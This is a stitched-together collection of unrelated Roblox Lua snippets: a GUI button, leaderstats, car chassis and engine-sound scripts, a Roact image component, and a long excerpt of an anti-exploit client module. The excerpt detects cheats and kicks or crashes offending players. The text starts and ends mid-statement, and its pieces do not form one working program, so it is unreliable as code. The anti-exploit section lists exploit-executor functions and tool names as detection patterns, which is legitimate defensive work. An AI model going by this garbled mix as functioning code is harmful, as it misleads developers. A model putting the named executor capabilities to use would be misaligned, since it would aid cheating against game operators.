p3.UserInputType == Enum.UserInputType.Touch and p3.UserInputState == Enum.UserInputState.End then l__GuiButtonState__2:set("None"); end; if p3.UserInputType == Enum.UserInputType.Touch and p3.UserInputState == Enum.UserInputState.Change then l__GuiButtonState__2:set("None"); end; end; v1[u1.OnEvent("Activated")] = p1.OnActivated; return u1.New("ImageButton")(v1); end;
-- Returns the current spread of the weapon -- @return number
function SpreadSimulator:GetCurrentSpread() return self.currentSpread end
--Change 0 to whatever you want them to start with when they enter the game--
function onPlayerEntered(newPlayer) local stats = Instance.new("IntValue") stats.Name = "leaderstats" local points = Instance.new("IntValue") points.Name = "Kill Points" --Change "Points" to change the currency name. points.Value = 0 --Change the 0 to how much you want people to start with points.Parent = stats stats.Parent = newPlayer local kills = Instance.new("IntValue") kills.Name = "Kills" kills.Value = 0 local deaths = Instance.new("IntValue") deaths.Name = "Deaths" deaths.Value = 0 kills.Parent = stats deaths.Parent = stats
-- --
if(Mousefollow == true) then PS.Control.Text =" Controls: true" elseif(Mousefollow == false) then PS.Control.Text =" Controls: false" end
--------------------------------------------------------------------------------
local Car = script.Parent.Car.Value local Values = script.Parent.Values local _Tune = require(Car["A-Chassis Tune"]) local Handler = Car:WaitForChild("INTERIOR_PACK") local FE = workspace.FilteringEnabled local INT_PCK = nil for _,Child in pairs(Car.Misc:GetDescendants()) do if Child:IsA("ObjectValue") and Child.Name == "INTERIOR_PACK" then INT_PCK = Child.Value end end if INT_PCK == nil then script:Destroy() end local HB = INT_PCK:FindFirstChild("Handbrake") local PS = INT_PCK:FindFirstChild("Paddle_Shifter") local PD = INT_PCK:FindFirstChild("Pedals") local SH = INT_PCK:FindFirstChild("Shifter") local SW = INT_PCK:FindFirstChild("Steering_Wheel") local Val = 0 local SEQ = 1 if SEQ_INVERTED then SEQ = -1 end local PED = 1 if PED_INVERTED then PED = -1 end local Gear = Values.Gear.Changed:Connect(function() local Gear = Values.Gear.Value local Shift = "Down" if Gear > Val then Shift = "Up" end Val = Gear if FE then Handler:FireServer("Gear",Gear,Shift,PADDLE_SHIFTER,PEDALS,SHIFTER,PS,PD,SH,PADDLE_ANG,PADDLE_INVERTED,SHIFTER_TYPE,SEQ,SHIFT_TIME,VERTICAL_ANG,HORIZONTAL_ANG) else if PEDALS and PD ~= nil then PD.C.Motor.DesiredAngle = math.rad(PEDAL_ANGLE)*PED end if PADDLE_SHIFTER and PS ~= nil then if Shift == "Up" then if PADDLE_INVERTED then PS.L.Motor.DesiredAngle = math.rad(PADDLE_ANG) else PS.R.Motor.DesiredAngle = math.rad(PADDLE_ANG) end else if PADDLE_INVERTED then PS.R.Motor.DesiredAngle = math.rad(PADDLE_ANG) else PS.L.Motor.DesiredAngle = math.rad(PADDLE_ANG) end end wait(SHIFT_TIME/2) PS.R.Motor.DesiredAngle = 0 PS.L.Motor.DesiredAngle = 0 end if SHIFTER and SH ~= nil then local MOT1 = SH.W1.Motor local MOT2 = SH.W2.Motor MOT2.DesiredAngle = 0 wait(SHIFT_TIME/2) if SHIFTER_TYPE == "Seq" then if Shift == "Up" then MOT2.DesiredAngle = math.rad(VERTICAL_ANG)*SEQ wait(SHIFT_TIME/2) MOT2.DesiredAngle = 0 else MOT2.DesiredAngle = -math.rad(VERTICAL_ANG)*SEQ wait(SHIFT_TIME/2) MOT2.DesiredAngle = 0 end else if Gear == -1 then MOT1.DesiredAngle = math.floor((#_Tune["Ratios"]-1)/4)*2*math.rad(HORIZONTAL_ANG) wait(SHIFT_TIME/2) if #_Tune["Ratios"] % 2 == 0 then MOT2.DesiredAngle = math.rad(VERTICAL_ANG) else MOT2.DesiredAngle = -math.rad(VERTICAL_ANG) end elseif Gear == 0 then MOT1.DesiredAngle = 0 elseif Gear > 0 then if Shift == "Up" then if Val == 0 then MOT1.DesiredAngle = -math.floor((#_Tune["Ratios"]-1)/4)*math.rad(HORIZONTAL_ANG) wait(SHIFT_TIME/2) MOT2.DesiredAngle = math.rad(VERTICAL_ANG) elseif Gear % 2 == 0 then MOT2.DesiredAngle = -math.rad(VERTICAL_ANG) else MOT1.DesiredAngle = MOT1.DesiredAngle + math.rad(HORIZONTAL_ANG) wait(SHIFT_TIME/2) MOT2.DesiredAngle = math.rad(VERTICAL_ANG) end else if Gear % 2 == 0 then MOT1.DesiredAngle = MOT1.DesiredAngle - math.rad(HORIZONTAL_ANG) wait(SHIFT_TIME/2) MOT2.DesiredAngle = -math.rad(VERTICAL_ANG) else MOT2.DesiredAngle = math.rad(VERTICAL_ANG) end end end end end if PEDALS and PD ~= nil then PD.C.Motor.DesiredAngle = 0 end end end) local Throttle = Values.Throttle.Changed:Connect(function() local Throttle = Values.Throttle.Value if FE then Handler:FireServer("Throttle",Throttle,PEDALS,PD,PEDAL_ANGLE,PED) else if PEDALS and PD ~= nil then PD.T.Motor.DesiredAngle = math.rad(PEDAL_ANGLE*Throttle)*PED end end end) local Brake = Values.Brake.Changed:Connect(function() local Brake = Values.Brake.Value if FE then Handler:FireServer("Brake",Brake,PEDALS,PD,PEDAL_ANGLE,PED) else if PEDALS and PD ~= nil then PD.B.Motor.DesiredAngle = math.rad(PEDAL_ANGLE*Brake)*PED end end end) local PBrake = Values.PBrake.Changed:Connect(function() local PBrake = Values.PBrake.Value if FE then Handler:FireServer("PBrake",PBrake,HANDBRAKE,HB,HANDBRAKE_ANG) else if HANDBRAKE and HB ~= nil then if PBrake then HB.W.Motor.DesiredAngle = math.rad(HANDBRAKE_ANG) else HB.W.Motor.DesiredAngle = 0 end end end end) if STEER_VERS == "New" then if FE then Handler:FireServer("Loop",STEERING_WHEEL,SW,STEER_MULT) else spawn(function() while wait() do local direction = Car.Wheels.FR.Base.CFrame:vectorToObjectSpace(Car.Wheels.FR.Arm.CFrame.lookVector) local direction2 = Car.Wheels.FL.Base.CFrame:vectorToObjectSpace(Car.Wheels.FL.Arm.CFrame.lookVector) local angle = ((math.atan2(-direction.Z, direction.X))+(math.atan2(-direction2.Z, direction2.X)))/2 local Steer = -(angle-1.57)*STEER_MULT if STEERING_WHEEL and SW ~= nil then print("A") SW.W.Motor.CurrentAngle = Steer end end end) end else local Steering = Values.SteerC.Changed:Connect(function() local Steer = Values.SteerC.Value if FE then Handler:FireServer("Steering",Steer,STEERING_WHEEL,SW,STEER_MULT) else if STEERING_WHEEL and SW ~= nil then SW.W.Motor.DesiredAngle = math.rad(Steer*STEER_MULT*70) end end end) end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local on = 0 script:WaitForChild("Rev") script:WaitForChild("Turbo") if not FE then for i,v in pairs(car.Body.ENGINEex:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end for i,v in pairs(script:GetChildren()) do v.Parent=car.Body.ENGINEex end car.Body.ENGINEex.Rev:Play() car.Body.ENGINEex.idle:Play() while wait() do local _RPM = script.Parent.Values.RPM.Value if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end car.Body.ENGINEex.Rev.Pitch = (car.Body.ENGINEex.Rev.SetPitch.Value + car.Body.ENGINEex.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2 car.Body.ENGINEex.Turbo.Pitch = (car.Body.ENGINEex.Turbo.SetPitch.Value + car.Body.ENGINEex.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2 car.Body.ENGINEex.idle.Pitch = (car.Body.ENGINEex.idle.SetPitch.Value + car.Body.ENGINEex.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2 if _RPM == 700 then car.Body.ENGINEex.idle.Volume = .1 car.Body.ENGINEex.Rev.Volume = 0 else car.Body.ENGINEex.Rev.Volume = .1 car.Body.ENGINEex.idle.Volume = 0 end end else local handler = car.AC6_FE_Sounds handler:FireServer("newSound","Rev",car.Body.ENGINEex,script.Rev.SoundId,0,script.Rev.Volume,true) handler:FireServer("playSound","Rev") handler:FireServer("newSound","Turbo",car.Body.ENGINEex,script.Turbo.SoundId,0,script.Turbo.Volume,true) handler:FireServer("playSound","Turbo") handler:FireServer("newSound","idle",car.Body.ENGINEex,script.idle.SoundId,0,script.Turbo.Volume,true) handler:FireServer("playSound","idle") local pitch=0 local pitch2=0 local pitch3=0 while wait() do local _RPM = script.Parent.Values.RPM.Value if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end pitch = (script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2 pitch2 = (script.Turbo.SetPitch.Value + script.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2 pitch3 = (script.idle.SetPitch.Value + script.idle.SetRev.Value*_RPM/_Tune.Redline)*on^2 handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume) handler:FireServer("updateSound","Turbo",script.Turbo.SoundId,pitch2,script.Turbo.Volume) handler:FireServer("updateSound","idle",script.idle.SoundId,pitch3,script.idle.Volume) end end
-- Set defaults
ImageLabel.defaultProps = { BackgroundTransparency = 1, BorderSizePixel = 0, Size = UDim2.new(1, 0, 1, 0), Image = '' } function ImageLabel:render() local props = Support.CloneTable(self.props) local state = self.state -- Include aspect ratio constraint if specified if props.AspectRatio then local Constraint = new('UIAspectRatioConstraint', { AspectRatio = props.AspectRatio }) -- Insert constraint into children props[Roact.Children] = Support.Merge( { AspectRatio = Constraint }, props[Roact.Children] or {} ) end -- Include list layout if specified if props.Layout == 'List' then local Layout = new('UIListLayout', { FillDirection = props.LayoutDirection, Padding = props.LayoutPadding, HorizontalAlignment = props.HorizontalAlignment, VerticalAlignment = props.VerticalAlignment, SortOrder = props.SortOrder or 'LayoutOrder', [Roact.Ref] = function (rbx) self:UpdateContentSize(rbx) end, [Roact.Change.AbsoluteContentSize] = function (rbx) self:UpdateContentSize(rbx) end }) -- Update size props.Size = self:GetSize() -- Insert layout into children props[Roact.Children] = Support.Merge( { Layout = Layout }, props[Roact.Children] ) end -- Parse hex colors if type(props.ImageColor) == 'string' then local R, G, B = props.ImageColor:lower():match('#?(..)(..)(..)') props.ImageColor3 = Color3.fromRGB(tonumber(R, 16), tonumber(G, 16), tonumber(B, 16)) end -- Filter out custom properties props.AspectRatio = nil props.Layout = nil props.LayoutDirection = nil props.LayoutPadding = nil props.HorizontalAlignment = nil props.VerticalAlignment = nil props.HorizontalPadding = nil props.VerticalPadding = nil props.SortOrder = nil props.Width = nil props.Height = nil props.ImageColor = nil -- Display component in wrapper return new('ImageLabel', props) end function ImageLabel:GetSize(ContentSize) local props = self.props -- Determine dynamic dimensions local DynamicWidth = props.Size == 'WRAP_CONTENT' or props.Width == 'WRAP_CONTENT' local DynamicHeight = props.Size == 'WRAP_CONTENT' or props.Height == 'WRAP_CONTENT' local DynamicSize = DynamicWidth or DynamicHeight -- Get padding from props local Padding = UDim2.new( 0, props.HorizontalPadding or 0, 0, props.VerticalPadding or 0 ) -- Calculate size based on content if dynamic return Padding + UDim2.new( (ContentSize and DynamicWidth) and UDim.new(0, ContentSize.X) or (typeof(props.Width) == 'UDim' and props.Width or props.Size.X), (ContentSize and DynamicHeight) and UDim.new(0, ContentSize.Y) or (typeof(props.Height) == 'UDim' and props.Height or props.Size.Y) ) end function ImageLabel:UpdateContentSize(Layout) if not (Layout and Layout.Parent) then return end -- Set container size based on content Layout.Parent.Size = self:GetSize(Layout.AbsoluteContentSize) end return ImageLabel
-- Make Connection strict
setmetatable(Connection, { __index = function(tb, key) warn(("Attempt to get Connection::%s (not a valid member)"):format(tostring(key)), 2) end, __newindex = function(tb, key, value) error(("Attempt to set Connection::%s (not a valid member)"):format(tostring(key)), 2) end })
-------------------------
function onClicked() R.Function1.Disabled = true R.Function2.Disabled = false R.BrickColor = BrickColor.new("Institutional white") N.One1.BrickColor = BrickColor.new("Really black") N.Four1.BrickColor = BrickColor.new("Really black") N.One4.BrickColor = BrickColor.new("Really black") N.One8.BrickColor = BrickColor.new("Really black") N.Three4.BrickColor = BrickColor.new("Really black") N.Two1.BrickColor = BrickColor.new("Really black") end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--!nolint DeprecatedGlobal --# selene: allow(deprecated)
script.Archivable = false task.spawn(function() if not game:GetService("RunService"):IsStudio() then script.Name = "\n\n\n\n\n\n\n\nModuleScript" end end) GetEnv = nil return function(Vargs) local client, service = Vargs.Client, Vargs.Service local env = GetEnv(nil, {script = script}) setfenv(1, env) local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local Anti, Process, UI, Variables local script = script local Core = client.Core local Remote = client.Remote local Functions = client.Functions local Disconnect = client.Disconnect local Send = client.Remote.Send local Get = client.Remote.Get local NetworkClient = service.NetworkClient local Kill = client.Kill local Player = service.Players.LocalPlayer local isStudio = select(2, pcall(service.RunService.IsStudio, service.RunService)) local Kick = Player.Kick local UI = client.UI; local Anti = client.Anti; local Variables = client.Variables; local Process = client.Process; local Detected = Anti.Detected; getfenv().client = nil getfenv().service = nil getfenv().script = nil script.Parent = nil local compareTables compareTables = function(t1, t2) if service.CountTable(t1) ~= service.CountTable(t2) then return false end for k, _ in pairs(t1) do local val1, val2 = t1[k], t2[k] local isTable = type(val1) == "table" if isTable and not compareTables(val1, val2) or not isTable and not rawequal(val1, val2) then return false end end return true end local proxyDetector = newproxy(true) do local proxyMt = getmetatable(proxyDetector) proxyMt.__index = function() Detected("kick", "Proxy methamethod 0x215F") return task.wait(2e2) end proxyMt.__newindex = function() Detected("kick", "Proxy methamethod 0x86F1") return task.wait(2e2) end proxyMt.__tostring = function() Detected("kick", "Proxy methamethod 0xC0BD0") return task.wait(2e2) end proxyMt.__unm = function() Detected("kick", "Proxy methamethod 0x10F00") return task.wait(2e2) end proxyMt.__add = function() Detected("kick", "Proxy methamethod 0x60DC3") return task.wait(2e2) end proxyMt.__sub = function() Detected("kick", "Proxy methamethod 0x90F5D") return task.wait(2e2) end proxyMt.__mul = function() Detected("kick", "Proxy methamethod 0x19999") return task.wait(2e2) end proxyMt.__div = function() Detected("kick", "Proxy methamethod 0x1D14AC") return task.wait(2e2) end proxyMt.__mod = function() Detected("kick", "Proxy methamethod 0x786C64") return task.wait(2e2) end proxyMt.__pow = function() Detected("kick", "Proxy methamethod 0x1D948C") return task.wait(2e2) end proxyMt.__len = function() Detected("kick", "Proxy methamethod 0xBE931") return task.wait(2e2) end proxyMt.__metatable = "The metatable is locked" end local Detectors = { Speed = function(data) service.StartLoop("AntiSpeed", 1, function() if workspace:GetRealPhysicsFPS() > tonumber(data.Speed) then Detected("kill", "Speed exploiting") end end) end; AntiAntiIdle = function(data) local hasActivated = false local function idleTamper(message) if hasActivated then return end hasActivated = true Detected("crash", "Tamper Protection 0xC0FA6; "..tostring(message).."; ") wait(1) pcall(Disconnect, "Adonis_0xC0FA6") pcall(Kill, "Adonis_0xC0FA6") pcall(Kick, Player, "Adonis_0xC0FA6") end if isStudio then return else if not game:IsLoaded() then game.Loaded:Wait() end if not Player.Character and service.Players.CharacterAutoLoads then Player.CharacterAdded:Wait() end end local isAntiAntiIdlecheck, clientHasClosed = data.Enabled, false task.spawn(pcall, function() local connection local networkClient = service.UnWrap(service.NetworkClient) local clientReplicator = networkClient.ClientReplicator if #networkClient:GetChildren() == 1 and #networkClient:GetDescendants() == 1 and networkClient:GetChildren()[1] == clientReplicator and networkClient:GetDescendants()[1] == clientReplicator and networkClient:FindFirstChild("ClientReplicator") == clientReplicator and networkClient:FindFirstChildOfClass("ClientReplicator") == clientReplicator and networkClient:FindFirstChildWhichIsA("ClientReplicator") == clientReplicator and clientReplicator:FindFirstAncestor("NetworkClient") == networkClient then connection = networkClient.DescendantRemoving:Connect(function(object) if object == clientReplicator and object.Parent == networkClient and object:IsA("NetworkReplicator") and object:GetPlayer() == service.UnWrap(Player) then connection:Disconnect() clientHasClosed = true end end) end end) while true do local connection local idledEvent = service.UnWrap(Player).Idled connection = idledEvent:Connect(function(time) if type(time) ~= "number" or not (time > 0) then idleTamper("Invalid time data") elseif time > 30 * 60 and isAntiAntiIdlecheck ~= false and not clientHasClosed then Detected("kick", "Anti-idle detected. "..tostring(math.ceil(time/60) - 20).." minutes above maximum possible Roblox value") end end) if type(connection) ~= "userdata" or not rawequal(typeof(connection), "RBXScriptConnection") or connection.Connected ~= true or not rawequal(type(connection.Disconnect), "function") or not rawequal(typeof(idledEvent), "RBXScriptSignal") or not rawequal(type(idledEvent.Connect), "function") or not rawequal(type(idledEvent.Wait), "function") then idleTamper("Userdata disrepencies detected") end task.wait(200 + math.random() * 5) connection:Disconnect() if clientHasClosed then return end end end; --elseif not Get("CheckBackpack", t) then --t:Destroy() --// Temp disabled pending full fix --Detected('log','Client-Side Tool Detected') HumanoidState = function() wait(1) local humanoid = service.Player.Character:WaitForChild("Humanoid", 2) or service.Player.Character:FindFirstChildOfClass("Humanoid") local event local doing = true if humanoid then event = humanoid.StateChanged:Connect(function(_,new) if not doing then event:Disconnect() end if rawequal(new, Enum.HumanoidStateType.StrafingNoPhysics) and doing then doing = false Detected("kill", "NoClipping") event:Disconnect() end end) while humanoid and humanoid.Parent and humanoid.Parent.Parent and doing and wait(0.1) do if not (Enum.HumanoidStateType.StrafingNoPhysics == Enum.HumanoidStateType.StrafingNoPhysics) or not rawequal(Enum.HumanoidStateType.StrafingNoPhysics, Enum.HumanoidStateType.StrafingNoPhysics) then Detected("crash", "Enum tampering detected") elseif rawequal(humanoid:GetState(), Enum.HumanoidStateType.StrafingNoPhysics) and doing then doing = false Detected("kill", "NoClipping") end end end end; AntiCoreGui = function() if isStudio then return end -- // Checks disallowed content URLs in the CoreGui service.StartLoop("AntiCoreGui", 15, function() xpcall(function() local function getCoreUrls() local coreUrls = {} local backpack = Player:FindFirstChildOfClass("Backpack") local character = Player.Character local screenshotHud = service.GuiService:FindFirstChildOfClass("ScreenshotHud") if character then for _, v in ipairs(character:GetChildren()) do if v:IsA("BackpackItem") and service.Trim(v.TextureId) ~= "" then table.insert(coreUrls, service.Trim(v.TextureId)) end end end if backpack then for _, v in ipairs(backpack:GetChildren()) do if v:IsA("BackpackItem") and service.Trim(v.TextureId) ~= "" then table.insert(coreUrls, service.Trim(v.TextureId)) end end end if screenshotHud and service.Trim(screenshotHud.CameraButtonIcon) ~= "" then table.insert(coreUrls, service.Trim(screenshotHud.CameraButtonIcon)) end return coreUrls end local hasDetected = false local activated = false local rawContentProvider = service.UnWrap(service.ContentProvider) local workspace = service.UnWrap(workspace) local tempDecal = service.UnWrap(Instance.new("Decal")) tempDecal.Texture = "rbxasset://textures/face.png" -- Its a local asset and it's probably likely to never get removed, so it will never fail to load, unless the users PC is corrupted local coreUrls = getCoreUrls() if not (service.GuiService.MenuIsOpen or service.ContentProvider.RequestQueueSize >= 50 or Player:GetNetworkPing() >= 750) then rawContentProvider.PreloadAsync(rawContentProvider, {tempDecal, tempDecal, tempDecal, service.UnWrap(service.CoreGui), tempDecal}, function(url, status) if url == "rbxasset://textures/face.png" and status == Enum.AssetFetchStatus.Success then activated = true elseif not hasDetected and (string.match(url, "^rbxassetid://") or string.match(url, "^http://www%.roblox%.com/asset/%?id=")) then local isItemIcon = false for _, v in ipairs(coreUrls) do if string.find(url, v, 1, true) then isItemIcon = true break end end if isItemIcon == true then return end hasDetected = true Detected("Kick", "Disallowed content URL detected in CoreGui") end end) tempDecal:Destroy() task.wait(6) if not activated then -- // Checks for anti-coregui detetection bypasses Detected("kick", "Coregui detection bypass found") end end local success, err = pcall(function() rawContentProvider:preloadasync({tempDecal}) end) local success2, err2 = pcall(function() rawContentProvider.PreloadAsync(workspace, {tempDecal}) end) local success3, err3 = pcall(function() workspace:PreloadAsync({tempDecal}) end) if success or (string.match(err, "^%a+ is not a valid member of ContentProvider \"(.+)\"$") or "") ~= rawContentProvider:GetFullName() or success2 or err2 ~= "Expected ':' not '.' calling member function PreloadAsync" or success3 or (string.match(err3, "^PreloadAsync is not a valid member of Workspace \"(.+)\"$") or "") ~= workspace:GetFullName() then Detected("kick", "Content provider spoofing detected") end -- // GetFocusedTextBox detection local textbox = service.UserInputService:GetFocusedTextBox() local success, value = pcall(service.StarterGui.GetCore, service.StarterGui, "DeveloperConsoleVisible") local textChatService = service.TextChatService local chatBarConfig = textChatService and textChatService:FindFirstChildOfClass("ChatInputBarConfiguration") if textbox and Anti.RLocked(textbox) and not ((success and value) or service.GuiService.MenuIsOpen or ( service.Chat.LoadDefaultChat and textChatService and textChatService.ChatVersion == Enum.ChatVersion.TextChatService and chatBarConfig and chatBarConfig.Enabled )) then Detected("Kick", "Invalid CoreGui Textbox has been selected") end end, function() Detected("kick", "Tamper Protection 0x6F832") end) end) end, MainDetection = function() local game = service.DataModel local findService = service.DataModel.FindService local lastLogOutput = os.clock() local spoofedHumanoidCheck = Instance.new("Humanoid") local lookFor = { "current identity is [0789]"; "gui made by kujo"; "tetanus reloaded hooked"; "hookmetamethod"; "hookfunction"; "HttpGet"; "^Chunk %w+, at Line %d+"; "reviz admin"; "iy is already loaded"; "infinite yield is already loaded"; "infinite yield is already"; "iy_debug"; "returning json"; "shattervast"; "failed to parse json"; "newcclosure", -- // Kicks all non chad exploits which do not support newcclosure like jjsploit "getrawmetatable"; "setrawmetatable"; "getnamecallmethod"; "setnamecallmethod"; "setfflag"; "getfflag"; "gethui"; "isreadonly"; "setreadonly"; "isfile"; "writefile"; "appendfile"; "delfile"; "readfile"; "loadfile"; "isfolder"; "makefolder"; "delfolder"; "listfiles"; "secure_call"; -- synapse specific (?) "getsynasset"; -- synapse specific "getcustomasset"; "cloneref"; "clonefunction"; "getspecialinfo"; "saveinstance"; "messagebox"; "protect_gui"; -- specific to synapse and smaller executors like sirhurt, temple, etc "unprotect_gui"; -- specific to synapse and smaller executors like sirhurt, temple, etc "rconsoleprint"; "rconsoleinfo"; "rconsolewarn"; "rconsoleerr"; "rconsoleclear"; "rconsolename"; "rconsoleinput"; "printconsole"; "checkcaller"; "dumpstring"; "islclosure"; "getscriptclosure"; "getscripthash"; "getcallingscript"; "getgenv"; "getsenv"; "getrenv"; "getmenv"; "gettenv"; -- script-ware specific "identifyexecutor"; "getreg"; "getgc"; "getnilinstances"; "getconnections"; "getloadedmodules"; "firesignal"; "fireclickdetector"; "fireproximityprompt"; "firetouchinterest"; "setsimulationradius"; "getsimulationradius"; "sethiddenproperty"; "gethiddenproperty"; "setscriptable"; "isnetworkowner"; "setclipboard"; "getconstants"; "getconstant"; "setconstant"; "getupvalues"; "getupvalue"; "setupvalue"; "getprotos"; "getproto"; "setproto"; "getstack"; "setstack"; "getregistry"; "cache_replace"; -- synapse specific (?) "cache_invalidate"; -- synapse specific (?) "get_thread_identity"; -- synapse specific (?) "set_thread_identity"; -- synapse specific (?) "setthreadcontext"; "setidentity"; "is_cached"; -- synapse specific (?) "write_clipboard"; -- synapse specific (?) "replicatesignal"; "hooksignal"; "queue_on_teleport"; "is_beta"; -- synapse specific (?) "create_secure_function"; -- synapse specific (?) "run_secure_function"; -- synapse specific (?) "Kill by Avexus#1234 initialized"; --"FilteringEnabled Kill"; -- // Disabled due to potential of having false flags "Couldn't find target with input:"; "Found target with input:"; "Couldn't find the target's root part%. :["; } local soundIds = { 5032588119, } local function check(Message) for _, v in lookFor do if not string.find(string.lower(Message), "failed to load", 1, true) and not string.find(string.lower(Message), "meshcontentprovider failed to process", 1, true) and (string.match(string.lower(Message), string.lower(v)) or string.match(Message, v)) then return true end end end local function checkServ() if not service.GuiService:IsTenFootInterface() and not service.VRService.VREnabled and not service.UserInputService.GamepadEnabled and not service.UserInputService.TouchEnabled then if not pcall(function() if not isStudio and (findService(game, "VirtualUser") or findService(game, "VirtualInputManager")) then Detected("crash", "Disallowed Services Detected") end end) then Detected("kick", "Disallowed Services Finding Error") end end end local function soundIdCheck(Sound) for _,v in pairs(soundIds) do if Sound.SoundId and (string.find(string.lower(tostring(Sound.SoundId)), tostring(v)) or Sound.SoundId == tostring(v)) then return true end end return false end local function checkTool(t) task.wait() if t and (t:IsA("Tool") or t.ClassName == "HopperBin") and not t:FindFirstChild(Variables.CodeName) and service.Player:FindFirstChild("Backpack") and t:IsDescendantOf(service.Player.Backpack) then if t.ClassName == "HopperBin" and (rawequal(t.BinType, Enum.BinType.Grab) or rawequal(t.BinType, Enum.BinType.Clone) or rawequal(t.BinType, Enum.BinType.Hammer) or rawequal(t.BinType, Enum.BinType.GameTool)) then Detected("kick", "Building Tools detected; "..tostring(t.BinType)) end end end checkServ() service.DataModel.ChildAdded:Connect(checkServ) service.PolicyService.ChildAdded:Connect(function(child) if child:IsA("Sound") then if soundIdCheck(child) then Detected("crash", "CMDx Detected; "..tostring(child)) else wait() if soundIdCheck(child) then Detected("crash", "CMDx Detected; "..tostring(child)) end end end end) service.LogService.MessageOut:Connect(function(Message) if Message == " " then lastLogOutput = os.clock() elseif type(Message) ~= "string" then pcall(Detected, "crash", "Tamper Protection 0x600D") task.wait(1) pcall(Disconnect, "Adonis_0x600D") pcall(Kill, "Adonis_0x600D") pcall(Kick, Player, "Adonis_0x600D") elseif check(Message) then Detected("crash", "Exploit detected; "..Message) end end) --[[ service.ScriptContext.ChildAdded:Connect(function(child) if Anti.GetClassName(child) ~= "CoreScript" then Detected("kick","Non-CoreScript Detected; "..tostring(child)) end end) service.ReplicatedFirst.ChildAdded:Connect(function(child) if Anti.GetClassName(child) == "LocalScript" then Detected("kick", "Localscript Detected; "..tostring(child)) end end) ]] service.ScriptContext.Error:Connect(function(Message, Trace, Script) Message, Trace, Script = tostring(Message), tostring(Trace), tostring(Script) if Script and Script == "tpircsnaisyle" then Detected("kick", "Elysian Detected") elseif check(Message) or check(Trace) or check(Script) then Detected("crash", "Exploit detected; "..Message.." "..Trace.." "..Script) elseif not Script or (not Trace or Trace == "") then local tab = service.LogService:GetLogHistory() local found = false if Script then for i, v in pairs(tab) do if v.message == Message and tab[i+1] and tab[i+1].message == Trace then found = true end end else found = true end if found then if string.match(Trace, "CoreGui") or string.match(Trace, "PlayerScripts") or string.match(Trace, "Animation_Scripts") or string.match(Trace, "^(%S*)%.(%S*)") then return else Detected("log", "Traceless/Scriptless error") end end end end) if service.Player:WaitForChild("Backpack", 120) then service.Player.Backpack.ChildAdded:Connect(checkTool) end --// Detection Loop local hasPrinted = false service.StartLoop("Detection", 15, function() --// Stuff local ran,_ = pcall(function() service.ScriptContext.Name = "ScriptContext" end) if not ran then Detected("log", "ScriptContext error?") end --// Check Log History local Logs = service.LogService.GetLogHistory(service.LogService) local rawLogService = service.UnWrap(service.LogService) local First = Logs[1] if not compareTables(Logs, rawLogService:GetLogHistory()) then Detected("kick", "Log spoofing found") elseif not hasPrinted and not First then local startTime = os.clock() client.OldPrint(" ") for i = 1, 5 do task.wait() end Logs = service.LogService:GetLogHistory() First = Logs[1] hasPrinted = true if (lastLogOutput + 3) < startTime then Detected("kick", "Log event not outputting to console") end else if not First then Detected("kick", "Suspicious log amount detected 0x48248") client.OldPrint(" ") -- // To prevent the log amount check from firing every 10 seconds (Just to be safe) end end if not rawequal(type(First), "table") or not rawequal(type(First.message), "string") or not rawequal(typeof(First.messageType), "EnumItem") or not rawequal(type(First.timestamp), "number") or First.timestamp < os.time() - os.clock() - 60 * 60 * 48 or First.timestamp > os.time() + 60 * 60 * 24 * 7 * 4 * 5 -- If the timestamp is five months in the future, it's safe to say its invalid then Detected("kick", "Bypass detected 0x48248") else for _, v in ipairs(Logs) do if check(v.message) then Detected("crash", "Exploit detected; "..v.message) end end end --// Check Loadstring local ran, _ = pcall(function() local func, err = loadstring("print('LolloDev5123 was here')") end) if ran then Detected("crash", "Exploit detected; Loadstring usable") end --// Check Context Level local ran, _ = pcall(function() local test = Instance.new("StringValue") test.RobloxLocked = true end) if ran then Detected("crash", "RobloxLocked usable") end local function getDictionaryLenght(dictionary) local len = 0 for _, _ in pairs(dictionary) do len += 1 end return len end local mt = { __mode = "v" } -- // Detects certain anti-dex bypasses local tbl = setmetatable({}, mt) if mt.__mode ~= "v" or rawget(mt, "__mode") ~= "v" or getmetatable(tbl) ~= mt or getDictionaryLenght(mt) ~= 1 or "_" == "v" or "v" ~= "v" then Detected("crash", "Anti-dex bypass found. Method 0x1") else local success, value = pcall(function() return setmetatable(tbl, mt) end) if not success or value ~= tbl or not service.OrigRawEqual(value, tbl) then Detected("crash", "Anti-dex bypass found. Method 0x2") end end -- // Anti RAKNET based DoS detection --[[xpcall(function() if isStudio then return end if service.Stats.DataSendKbps >= 1000 then -- // Roblox shouldn't allow this much data if im wrong though it should be made higher Detected("kick", "RAKNET based volumetric DoS attack 